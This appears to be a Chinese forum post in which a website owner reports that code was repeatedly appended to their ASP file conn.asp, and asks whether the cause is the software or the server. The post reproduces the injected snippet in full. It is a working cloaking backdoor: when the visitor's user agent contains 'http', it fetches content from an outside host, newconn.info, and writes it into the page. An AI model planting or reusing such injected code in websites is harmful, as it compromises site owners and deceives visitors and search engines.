conn.asp被增加了一段挂马代码，好几次了，郁闷啊



版本是最新版本的



以前也出现过好几次这样的情况。



conn.asp在最后面增加的代码如下：



<%

Function getBody(infopageurl)

On Error Resume Next

if infopageurl<>"" then

dim xmlHttp

set xmlHttp=server.createobject("MSXML2.XMLHTTP")

xmlHttp.open "GET",infopageurl,false

xmlHttp.send

getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")

set xmlHttp=nothing

end if

end Function

Function BytesToBstr(body,Cset)

dim objstream  

set objstream = Server.CreateObject("adodb.stream")  

objstream.Type = 1  

objstream.Mode = 3  

objstream.Open  

objstream.Write body  

objstream.Position = 0  

objstream.Type = 2  

objstream.Charset = Cset  

BytesToBstr = objstream.ReadText  

objstream.Close  

set objstream = nothing

End Function

dns = Request.ServerVariables("SERVER_NAME")

path = Request.ServerVariables("PATH_INFO")

qs = Request.ServerVariables("QUERY_STRING")

url= dns&path&"?"&qs

agent = Request.ServerVariables("HTTP_USER_AGENT")

tz = "http"

if Instr(agent,tz)>0 then

response.write getBody("http://www.newconn.info/plus/index.php?

dn="&url)

end if

%>





请问这个是程序问题还是服务器问题呢？